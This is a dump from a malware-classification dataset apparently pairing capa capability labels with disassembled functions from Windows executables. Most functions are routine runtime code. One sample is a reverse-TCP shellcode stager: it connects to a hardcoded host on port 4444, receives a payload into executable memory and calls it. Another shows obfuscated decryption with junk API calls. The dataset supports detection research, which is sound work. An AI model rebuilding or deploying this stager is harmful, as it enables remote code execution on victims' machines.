joyce8/EMBER2024-capa huggingface dataset:
Function at 0x638914
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x638a6e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
mov edx, 0x1b3e46c
mov ecx, 0x105
call fcn.00404d64
push 0
mov eax, dword [ebp - 0x1c]
call fcn.00404fb4
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x638a50
mov eax, dword [ebp - 8]
call fcn.0040278c
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x638a49
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
mov eax, dword [ebp - 0x1c]
call fcn.00404fb4
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x638a30
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x638a7c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x638a30
mov eax, dword [ebp - 0xc]
shr eax, 2
dec eax
test eax, eax
jb 0x638a30
inc eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x14]
movzx eax, word [eax]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 2]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0
lea edx, [ebp - 0x34]
mov ecx, 1
mov eax, 0x638aa0
call fcn.0040b8e8
mov eax, dword [ebp - 0x24]
call fcn.00404fb4
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x638a24
mov eax, 0x1b3e468
mov edx, dword [ebp - 0x18]
call fcn.00404cec
add dword [ebp - 0x14], 4
inc dword [ebp - 4]
dec dword [ebp - 0x20]
jne 0x6389c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x638a50
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
call fcn.004027ac
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x638a75
lea eax, [ebp - 0x24]
call fcn.00404ae4
lea eax, [ebp - 0x1c]
call fcn.00404ae4
ret
Function at 0x638acc
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x638c05
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
lea eax, [ebp - 0x1c]
mov edx, 0x638c20
call fcn.00404b7c
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x1c]
call fcn.00404fb4
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x638bd8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x4000000
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404fb4
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x638bc7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
push eax
push 0x1000
lea eax, [ebp - 0x101c]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetReadFile
lea edx, [ebp - 0x101c]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 0x10]
cmp dword [ebp - 0x18], 0
jne 0x638b5e
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x638bce
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx]
cmp edx, 0
jne 0x638bc6
cmp eax, 0
jne 0x638bc6
mov byte [ebp - 9], 0
ret
Function at 0x64afcc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [0x1bbf06c], 0xffffffff
je 0x64b009
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [0x1bbf06c]
push eax
call sub.KERNEL32.DLL_WriteFile_1
test eax, eax
je 0x64b009
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x64b010
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x64b019
mov eax, dword [ebp - 4]
add esp, 0xffffffe8
xor edx, edx
mov dword [ebp - 0x10018], edx
mov dword [ebp - 0x1001c], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x64b0f4
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, 0x1bbf070
mov edx, dword [0x6479f8]
call fcn.004064cc
cmp dword [0x1bbf06c], 0xffffffff
je 0x64b0d6
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x10013]
push eax
mov eax, dword [0x1bbf06c]
push eax
call sub.KERNEL32.DLL_ReadFile_1
test eax, eax
je 0x64b0d6
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
push eax
mov eax, 0x1bbf070
mov ecx, 1
mov edx, dword [0x6479f8]
call fcn.004063ac
add esp, 4
mov eax, dword [ebp - 0xc]
dec eax
test eax, eax
jl 0x64b0d6
inc eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
mov al, byte [ebp + eax - 0x10013]
mov edx, dword [0x1bbf070]
mov ecx, dword [ebp - 0x10]
mov byte [edx + ecx], al
inc dword [ebp - 0x10]
dec dword [ebp - 0x14]
jne 0x64b0b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x64b0fb
lea eax, [ebp - 0x1001c]
mov edx, 2
call fcn.00404b08
ret
Function at 0x64b104
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x64b10d
mov eax, dword [ebp - 4]
add esp, 0xffffffe8
xor edx, edx
mov dword [ebp - 0x10018], edx
mov dword [ebp - 0x1001c], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x64b1eb
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, 0x1bbf070
mov edx, dword [0x6479f8]
call fcn.004064cc
cmp dword [0x1bbf06c], 0xffffffff
je 0x64b1cd
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x10013]
push eax
mov eax, dword [0x1bbf06c]
push eax
call sub.KERNEL32.DLL_ReadFile_1
test eax, eax
je 0x64b1cd
mov eax, dword [ebp - 0xc]
push eax
mov eax, 0x1bbf070
mov ecx, 1
mov edx, dword [0x6479f8]
call fcn.004063ac
add esp, 4
mov eax, dword [ebp - 0xc]
dec eax
test eax, eax
jl 0x64b1c7
inc eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
mov al, byte [ebp + eax - 0x10013]
mov edx, dword [0x1bbf070]
mov ecx, dword [ebp - 0x10]
mov byte [edx + ecx], al
inc dword [ebp - 0x10]
dec dword [ebp - 0x14]
jne 0x64b1a9
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x64b1f2
lea eax, [ebp - 0x1001c]
mov edx, 2
call fcn.00404b08
ret
Function at 0x4030c0
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
cmp dword [0x8fb080], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax]
mov eax, dword [eax + 4]
push edi
mov dword [ebp - 0xc], eax
jne 0x4030f9
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov ecx, dword [0x4dbef8]
mov ebx, dword [0x4dbefc]
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
mov dword [ebp - 0x20], 0x9e3779b9
mov dword [ebp - 0x28], ecx
call fcn.004030b0
mov edx, dword [0x4dbf00]
mov eax, dword [0x4dbf04]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x24], eax
mov edi, 0x20
jmp 0x403140
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov ecx, dword [0x8fb080]
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x4031a8
push 0
lea ecx, [ebp - 0x42c]
push ecx
push 0x402590
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
xor eax, eax
xor edx, edx
mov word [ebp - 0x18], dx
mov word [ebp - 0x16], ax
mov ecx, dword [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov eax, dword [ebp - 4]
mov ecx, dword [0x8fb080]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x4031c2
mov dword [0x8fa61c], 0xedeb2e40
jmp 0x4031d4
cmp ecx, 0x3eb
jne 0x4031d4
mov dword [0x8f9fd0], 0
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add edx, esi
mov dword [ebp - 0x14], edx
mov edx, esi
shr edx, cl
mov dword [0x8fa618], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
cmp dword [0x8fb080], 0xc
jne 0x403232
lea eax, [ebp - 0x14]
push eax
push 0
push 0
lea ecx, [ebp - 0x2c]
push ecx
push 0
push 0
push 0
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
mov edx, dword [ebp - 0xc]
shl edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax]
mov ecx, dword [ebp - 0x10]
shr eax, cl
mov ecx, dword [ebp - 4]
add eax, ebx
xor eax, edx
xor ecx, eax
mov dword [ebp - 4], ecx
sub esi, ecx
mov eax, dword [ebp - 0x20]
sub dword [ebp - 8], eax
sub edi, 1
jne 0x403140
cmp dword [0x8fb080], 0xa6d
mov edi, dword [ebp + 8]
mov dword [edi], esi
jne 0x403299
push 0
push 0x4025c4
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edx, dword [ebp - 0xc]
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0xc]
mov dword [edi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4032b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x8fb080]
mov ecx, dword [0x8f9fd4]
shr eax, 3
sub esp, 0x408
test eax, eax
jbe 0x40338a
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
lea ebx, [ebx]
cmp dword [0x8fb080], 0x959
jne 0x403370
push 0
call esi
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0x4025f8
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push 0
call dword [sym.imp.KERNEL32.dll_HeapLock]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 4]
push ecx
call fcn.004030c0
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x4032f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403680
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4d9cb8
push eax
mov dword fs:[0], esp
sub esp, 0x448
push esi
push edi
mov edi, dword [sym.imp.GDI32.dll_SetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x4036bb
lea eax, [ebp - 0x454]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x4036a8
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
mov ebx, dword [ebp - 0x10]
xor esi, esi
call edi
cmp esi, 0x2b259d
jle 0x4036e2
cmp ebx, 0x785074d5
jne 0x4036eb
inc esi
cmp esi, 0x1c1b
jl 0x4036d0
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea esp, [esp]
push 0
call edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp esi, 0x206d47
jg 0x40371d
inc esi
cmp esi, 0x4f6a4
jl 0x403700
cmp dword [0x8fb080], 0x400
jne 0x403757
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
lea eax, [ebp - 0x30]
call fcn.004037f0
push 0
mov dword [ebp - 4], 0
call fcn.00403b24
add esp, 4
lea esi, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.00403810
mov ecx, dword [0x4dc13c]
mov edx, dword [0x4dc110]
mov dword [0x8fb080], ecx
mov dword [0x8fb084], edx
call fcn.004033b0
mov ebx, dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
xor esi, esi
nop
push 0
call edi
cmp esi, 0x2b259d
jle 0x403794
cmp ebx, 0x785074d5
jne 0x40379d
inc esi
cmp esi, 0x11915
jl 0x403780
mov esi, dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov edi, 0x3078f
pop ebx
lea esp, [esp]
cmp dword [0x8fb080], 0x51f
jne 0x4037c2
lea eax, [ebp - 0x54]
push eax
call esi
sub edi, 1
jne 0x4037b0
mov eax, dword [0x8f9fd4]
mov dword [0x8fa614], eax
call eax
mov ecx, dword [ebp - 0xc]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x404490
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4db0c8]
jne 0x40449a
repz ret
jmp fcn.00406bfe
Function at 0x40681f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404511
and dword [ebp - 4], 0
cmp dword [0x4dca10], 0
mov ebx, eax
jne 0x4068d0
push 0x4019c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406981
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4019bc
push edi
call esi
test eax, eax
je 0x406981
push eax
call fcn.0040449f
mov dword [esp], 0x4019ac
push edi
mov dword [0x4dca10], eax
call esi
push eax
call fcn.0040449f
mov dword [esp], 0x401998
push edi
mov dword [0x4dca14], eax
call esi
push eax
call fcn.0040449f
mov dword [esp], 0x40197c
push edi
mov dword [0x4dca18], eax
call esi
push eax
call fcn.0040449f
pop ecx
mov dword [0x4dca20], eax
test eax, eax
je 0x4068d0
push 0x401964
push edi
call esi
push eax
call fcn.0040449f
pop ecx
mov dword [0x4dca1c], eax
mov eax, dword [0x4dca1c]
cmp eax, ebx
je 0x406928
cmp dword [0x4dca20], ebx
je 0x406928
push eax
call fcn.0040451a
push dword [0x4dca20]
mov esi, eax
call fcn.0040451a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406928
test edi, edi
je 0x406928
call esi
test eax, eax
je 0x40691f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40691f
test byte [ebp - 0xc], 1
jne 0x406928
or dword [ebp + 0x10], 0x200000
jmp 0x406961
mov eax, dword [0x4dca14]
cmp eax, ebx
je 0x406961
push eax
call fcn.0040451a
pop ecx
test eax, eax
je 0x406961
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406961
mov eax, dword [0x4dca18]
cmp eax, ebx
je 0x406961
push eax
call fcn.0040451a
pop ecx
test eax, eax
je 0x406961
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4dca10]
call fcn.0040451a
pop ecx
test eax, eax
je 0x406981
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406983
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40d058], 1
mov dword [0x40d054], 1
mov dword [0x40d050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40d00c], eax
mov eax, dword [0x40d064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40d078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40d060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x409014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x4015b8
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x401625
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x401625
mov dword [esp + 4], str.Could_not_receive_data
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._punt
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x4015d4
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401632
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401675
mov dword [esp + 4], str.Could_not_initialize_socket
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._punt
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4016a1
mov dword [esp + 4], str.Could_not_resolve_target
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._punt
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x40171c
mov dword [esp + 4], str.Could_not_connect_to_target
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._punt
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401721
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x34
call dbg.__main
call sym._winsock_init
mov dword [esp + 4], 0x115c
mov dword [esp], str.192.168.2.15
call sym._wsconnect
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jne 0x40178a
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x40179d
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.read_a_strange_or_incomplete_length_value_n
mov dword [esp], eax
call sym._punt
mov eax, dword [ebp - 0x18]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4017e4
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.could_not_allocate_buffer_n
mov dword [esp], eax
call sym._punt
mov eax, dword [ebp - 0x10]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x1c]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 5]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_all
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call eax
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x401a90
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401af0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40d06c]
test esi, esi
jle 0x401c10
mov eax, dword [0x40d070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401b24
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401ba7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401b10
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401c37
mov eax, dword [0x40d070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40d070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401c17
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401ba0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401bb0
add dword [0x40d06c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40d070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401ba0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401b2e
mov eax, dword [0x40d070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x402150
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d080]
sub esp, 4
test ebx, ebx
je 0x4021a5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40219e
test esi, esi
je 0x40219e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402180
mov dword [esp], 0x40d088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret